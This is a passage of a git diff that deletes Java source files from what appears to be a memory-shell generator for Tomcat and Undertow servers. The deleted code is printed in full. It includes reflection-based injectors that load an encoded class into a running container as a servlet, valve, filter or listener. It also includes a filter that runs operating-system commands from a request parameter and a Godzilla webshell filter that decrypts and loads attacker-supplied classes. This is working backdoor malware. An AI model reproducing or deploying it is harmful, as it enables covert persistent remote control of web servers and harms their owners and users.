field.set(obj, value); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - @SuppressWarnings("all") - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - @SuppressWarnings("all") - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - Object context = null; - try { - for (Thread thread : threads) { - // 适配 v5/v6/7/8 - if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { - HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); - // 原: map.get("localhost") - // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 - for (Object key : childrenMap.keySet()) { - HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); - // 原: context = children.get(""); - // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 - for (Object key1 : children.keySet()) { - context = children.get(key1); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - // 兼容 spring boot 2.x embedded tomcat - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { - contexts.add(context); - } - } - } - } - // 适配 tomcat v9 - else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { - contexts.add(context); - } - } - } - } catch (Exception e) { - throw new RuntimeException(e); - } - return contexts; - } - - private Object getServlet(Object context) { - Object servlet = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - servlet = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - servlet = clazz.newInstance(); - } catch (Throwable ee) { - ee.printStackTrace(); - } - } - return servlet; - } - - @SuppressWarnings("all") - public void addServlet(Object context, Object servlet) throws Exception { - if (isInjected(context)) { - System.out.println("servlet already injected"); - return; - } - try { - Class containerClass = null; - try { - containerClass = Class.forName("org.apache.catalina.Container"); - } catch (ClassNotFoundException var12) { - containerClass = Class.forName("org.apache.catalina.Container", true, context.getClass().getClassLoader()); - } - - Object wrapper = invokeMethod(context, "createWrapper"); - invokeMethod(wrapper, "setName", new Class[]{String.class}, new Object[]{getClassName()}); - invokeMethod(wrapper, "setLoadOnStartup", new Class[]{Integer.TYPE}, new Object[]{1}); - setFieldValue(wrapper, "instance", servlet); - invokeMethod(wrapper, "setServletClass", new Class[]{String.class}, new Object[]{this.getClassName()}); - invokeMethod(context, "addChild", new Class[]{containerClass}, new Object[]{wrapper}); - - try { - invokeMethod(context, "addServletMapping", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), getClassName()}); - } catch (NoSuchMethodException var11) { - invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false}); - } - support56Inject(context, wrapper); - System.out.println("servlet inject success"); - } catch (Exception e) { - e.printStackTrace(); - } - } - - @SuppressWarnings("all") - public boolean isInjected(Object context) throws Exception { - Map servletMappings = (Map) getFV(context, "servletMappings"); - Collection values = servletMappings.values(); - for (String name : values) { - System.out.println(name); - if (name.equals(getClassName())) { - return true; - } - } - return false; - } - - private void support56Inject(Object context, Object wrapper) throws Exception { - Class serverInfo = Class.forName("org.apache.catalina.util.ServerInfo", false, context.getClass().getClassLoader()); - String number = (String) invokeMethod(serverInfo, "getServerNumber"); - if (!number.startsWith("5") && !number.startsWith("6")) { - return; - } - Object connectors = getFV(getFV(getFV(getFV(context, "parent"), "parent"), "service"), "connectors"); - int connectorsLength = Array.getLength(connectors); - for (int i = 0; i < connectorsLength; ++i) { - Object connector = Array.get(connectors, i); - String protocolHandlerClassName = (String) getFV(connector, "protocolHandlerClassName"); - if (!protocolHandlerClassName.contains("Http")) { - continue; - } - Object contexts = getFV(getFV(Array.get(getFV(getFV(connector, "mapper"), "hosts"), 0), "contextList"), "contexts"); - int contextsLength = Array.getLength(contexts); - for (int j = 0; j < contextsLength; ++j) { - Object o = Array.get(contexts, j); - if (getFV(o, "object") != context) { - continue; - } - Class mapperClazz = Class.forName("org.apache.tomcat.util.http.mapper.Mapper", false, context.getClass().getClassLoader()); - Class wrapperClazz = Class.forName("org.apache.tomcat.util.http.mapper.Mapper$Wrapper", false, context.getClass().getClassLoader()); - Constructor declaredConstructor = wrapperClazz.getDeclaredConstructors()[0]; - declaredConstructor.setAccessible(true); - Object newWrapper = declaredConstructor.newInstance(); - setFieldValue(newWrapper, "object", wrapper); - setFieldValue(newWrapper, "jspWildCard", false); - setFieldValue(newWrapper, "name", getUrlPattern()); - - Object exactWrappers = getFV(o, "exactWrappers"); - int length = Array.getLength(exactWrappers); - Object newWrappers = Array.newInstance(wrapperClazz, length + 1); - Class mapElementClass = Class.forName("org.apache.tomcat.util.http.mapper.Mapper$MapElement", false, context.getClass().getClassLoader()); - Class mapElementArrayClass = Array.newInstance(mapElementClass, 0).getClass(); - invokeMethod(mapperClazz, "insertMap", new Class[]{mapElementArrayClass, mapElementArrayClass, mapElementClass}, new Object[]{exactWrappers, newWrappers, newWrapper}); - setFieldValue(o, "exactWrappers", newWrappers); - } - } - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java deleted file mode 100644 index 5af3ac4c..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java +++ /dev/null @@ -1,255 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.injector; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.HashMap; -import java.util.List; -import java.util.zip.GZIPInputStream; - -/** - * Date: 2022/11/01 - * Author: pen4uin - * Description: Tomcat Valve 注入器 - * Tested version: - * jdk v1.8.0_275 - * tomcat v8.5.83, v9.0.67 - */ -public class TomcatValveInjector { - - static { - new TomcatValveInjector(); - } - - public TomcatValveInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object valve = getValve(context); - if (valve == null) { - continue; - } - System.out.println(valve); - injectValve(context, valve); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - @SuppressWarnings("all") - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - @SuppressWarnings("all") - private static synchronized Object getFV(Object var0, String var1) throws Exception { - Field var2 = null; - Class var3 = var0.getClass(); - - while (var3 != Object.class) { - try { - var2 = var3.getDeclaredField(var1); - break; - } catch (NoSuchFieldException var5) { - var3 = var3.getSuperclass(); - } - } - - if (var2 == null) { - throw new NoSuchFieldException(var1); - } else { - var2.setAccessible(true); - return var2.get(var0); - } - } - - private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(obj, methodName, new Class[0], new Object[0]); - } - - @SuppressWarnings("all") - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - - @SuppressWarnings("all") - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - Object context = null; - try { - for (Thread thread : threads) { - // 适配 v5/v6/7/8 - if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { - HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); - // 原: map.get("localhost") - // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 - for (Object key : childrenMap.keySet()) { - HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); - // 原: context = children.get(""); - // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 - for (Object key1 : children.keySet()) { - context = children.get(key1); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - // 兼容 spring boot 2.x embedded tomcat - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { - contexts.add(context); - } - } - } - } - // 适配 tomcat v9 - else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { - contexts.add(context); - } - } - } - } catch (Exception e) { - throw new RuntimeException(e); - } - return contexts; - } - - @SuppressWarnings("all") - private Object getValve(Object context) { - Object valve = null; - ClassLoader classLoader = context.getClass().getClassLoader(); - try { - valve = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - valve = clazz.newInstance(); - } catch (Exception e2) { - e2.printStackTrace(); - } - } - return valve; - } - - @SuppressWarnings("all") - public boolean isInjected(Object context, String valveClassName) throws Exception { - Object obj = invokeMethod(context, "getPipeline"); - Object[] valves = (Object[]) invokeMethod(obj, "getValves"); - List valvesList = Arrays.asList(valves); - for (Object valve : valvesList) { - if (valve.getClass().getName().contains(valveClassName)) { - return true; - } - } - return false; - } - - @SuppressWarnings("all") - public void injectValve(Object context, Object valve) throws Exception { - if (isInjected(context, valve.getClass().getName())) { - System.out.println("valve already injected"); - return; - } - try { - Class valveClass; - String valveClassName = "org.apache.catalina.Valve"; - valveClass = context.getClass().getClassLoader().loadClass(valveClassName); - Object obj = invokeMethod(context, "getPipeline"); - invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve}); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - ClassLoader catalinaLoader = null; - for (Thread thread : threads) { - // 适配 v5 的 Class Loader 问题 - if (thread.getName().contains("ContainerBackgroundProcessor")) { - catalinaLoader = thread.getContextClassLoader(); - break; - } - } - return catalinaLoader; - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandFilter.java deleted file mode 100644 index 298fa046..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandFilter.java +++ /dev/null @@ -1,48 +0,0 @@ -package com.reajason.javaweb.memsell.undertow.command; - -import javax.servlet.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import java.io.InputStream; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -public class CommandFilter implements Filter { - public String paramName = "{{paramName}}"; - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - - } - - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { - HttpServletRequest servletRequest = (HttpServletRequest) request; - HttpServletResponse servletResponse = (HttpServletResponse) response; - String cmd = servletRequest.getParameter(paramName); - try { - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception e) { - chain.doFilter(servletRequest, servletResponse); - } - } - - @Override - public void destroy() { - - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaFilter.java deleted file mode 100644 index 8a8fc8e2..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaFilter.java +++ /dev/null @@ -1,127 +0,0 @@ -package com.reajason.javaweb.memsell.undertow.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -/** - * @author ReaJason - */ -public class GodzillaFilter extends ClassLoader implements Filter { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; - - public GodzillaFilter() { - } - - public GodzillaFilter(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - @SuppressWarnings("all") - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { - HttpServletRequest request = (HttpServletRequest) servletRequest; - HttpServletResponse response = (HttpServletResponse) servletResponse; - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f; - try { - f = ((Class) session.getAttribute("payload")).newInstance(); - } catch (InstantiationException | IllegalAccessException e) { - throw new RuntimeException(e); - } - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - } - - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception e) { - chain.doFilter(servletRequest, servletResponse); - } - } - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - } - - @Override - public void destroy() { - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowFilterInjector.java deleted file mode 100644 index bfbffe0c..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowFilterInjector.java +++ /dev/null @@ -1,223 +0,0 @@ -package com.reajason.javaweb.memsell.undertow.injector; - -import javax.servlet.DispatcherType; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import java.util.zip.GZIPInputStream; - - -/** - * @author ReaJason - */ -public class UndertowFilterInjector { - - static { - new UndertowFilterInjector(); - } - - - public UndertowFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getFilter(context); - addFilter(context, filter); - } - } catch (Exception ignored) { - } - } - - @SuppressWarnings("all") - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - @SuppressWarnings("all") - static Object getFV(Object obj, String fieldName) throws Exception { - try { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } catch (Exception e) { - return null; - } - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { - Field field = getF(obj, fieldName); - field.set(obj, value); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - @SuppressWarnings("all") - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - for (Thread thread : threads) { - try { - Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); - Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); - if (servletContext != null) { - contexts.add(servletContext); - } - } catch (Exception ignored) { - } - } - return contexts; - } - - private Object getFilter(Object context) { - Object filter = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - filter = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - filter = clazz.newInstance(); - } catch (Throwable ignored) { - } - } - return filter; - } - - public void addFilter(Object context, Object filter) { - String filterClassName = filter.getClass().getName(); - try { - if (isInjected(context, filterClassName)) { - return; - } - Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); - Object deploymentInfo = getFV(context, "deploymentInfo"); - Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass()); - invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); - Object deploymentImpl = getFV(context, "deployment"); - Object managedFilters = invokeMethod(deploymentImpl, "getFilters"); - invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); - invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST}); - } catch (Throwable e) { - e.printStackTrace(); - } - } - - @SuppressWarnings("unchecked") - public boolean isInjected(Object context, String evilClassName) throws Exception { - Map filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters"); - if (filters != null) { - for (Map.Entry filter : filters.entrySet()) { - Class filterClass = (Class) getFV(filter.getValue(), "filterClass"); - if (filterClass != null) { - if (filterClass.getName().equals(evilClassName)) { - return true; - } - } - } - } - return false; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowListenerInjector.java deleted file mode 100644 index 4886ae06..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowListenerInjector.java +++ /dev/null @@ -1,214 +0,0 @@ -package com.reajason.javaweb.memsell.undertow.injector; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.zip.GZIPInputStream; - - -/** - * @author ReaJason - */ -public class UndertowListenerInjector { - - - static { - new UndertowListenerInjector(); - } - - public UndertowListenerInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getListener(context); - addListener(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - @SuppressWarnings("all") - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - @SuppressWarnings("all") - static Object getFV(Object obj, String fieldName) throws Exception { - try { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } catch (Exception e) { - return null; - } - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { - Field field = getF(obj, fieldName); - field.set(obj, value); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - @SuppressWarnings("all") - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) 